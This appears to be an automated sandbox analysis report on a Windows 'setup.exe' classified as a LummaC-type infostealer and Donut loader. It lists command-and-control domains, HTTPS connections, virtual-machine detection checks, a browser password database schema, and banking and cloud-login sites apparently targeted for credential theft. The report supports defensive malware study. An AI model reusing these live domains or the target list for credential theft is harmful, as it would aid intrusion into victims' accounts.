Source: setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413012877.0000000001391000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/api.
Source: setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/apiB
Source: setup.exe, 00000000.00000003.2363019004.0000000004130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/apiMC
Source: setup.exe, 00000000.00000003.2374539297.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2389796197.000000000412D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2387103359.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2375426138.000000000412D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/apiUeF
Source: setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/apii
Source: setup.exe, 00000000.00000003.2413012877.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/apis
Source: setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/db1
Source: setup.exe, 00000000.00000003.2401160674.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/m
Source: setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs:443/api
Source: setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs:443/apil
Source: setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs:443/apitPK
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: setup.exe, 00000000.00000003.2375381883.0000000004165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: setup.exe, 00000000.00000003.2375381883.0000000004165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.6:49867 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.4583566559.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\setup.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0138E75C	0_3_0138E75C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_01335EB8	0_3_01335EB8

Source: setup.exe

Static PE information: invalid certificate

Source: setup.exe, 00000000.00000000.2135022546.0000000000CB9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: \VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuild%d.%d.%d.%dDISPLAY.,%u KB \StringFileInfo\%04x%04x\%s vs setup.exe
Source: setup.exe, 00000000.00000002.4582851215.0000000000CB9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: \VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuild%d.%d.%d.%dDISPLAY.,%u KB \StringFileInfo\%04x%04x\%s vs setup.exe
Source: setup.exe, 00000000.00000003.2326669989.00000000034FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: @\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuild%d.%d.%d.%dDISPLAY.,%u KB \StringFileInfo\%04x%04x\%s vs setup.exe
Source: setup.exe	Binary or memory string: @\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuild%d.%d.%d.%dDISPLAY.,%u KB \StringFileInfo\%04x%04x\%s vs setup.exe

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.4583566559.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/2

Source: setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe, 00000000.00000003.2363582206.0000000004159000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2352067221.000000000413A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2363500036.0000000004164000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2351519419.0000000004158000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: setup.exe	ReversingLabs: Detection: 21%
Source: setup.exe	Virustotal: Detection: 15%

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: setup.exe

Static file information: File size 75164374 > 1048576

Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\MultiCommander\BuildOutput\Output\Win32\Release v143\MultiCrashReport\MultiCrashReport.pdb source: setup.exe

Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137A335 push edi; retf	0_3_0137A511
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_013784A0 pushad ; iretd	0_3_013784A9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_3_0137E529 push ebx; ret	0_3_0137E531

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_3_0137A0F5 sldt word ptr [eax+00000000h]

0_3_0137A0F5

Source: C:\Users\user\Desktop\setup.exe TID: 3460

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: setup.exe, setup.exe, 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583068445.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583238565.0000000001326000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413052550.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2389895498.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3041000487.0000000001325000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2401160674.0000000001323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: setup.exe, 00000000.00000003.2363196209.000000000418C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: setup.exe, 00000000.00000003.2363196209.0000000004187000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\setup.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: setup.exe, 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: swingybeattyz.sbs

Source: C:\Users\user\Desktop\setup.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

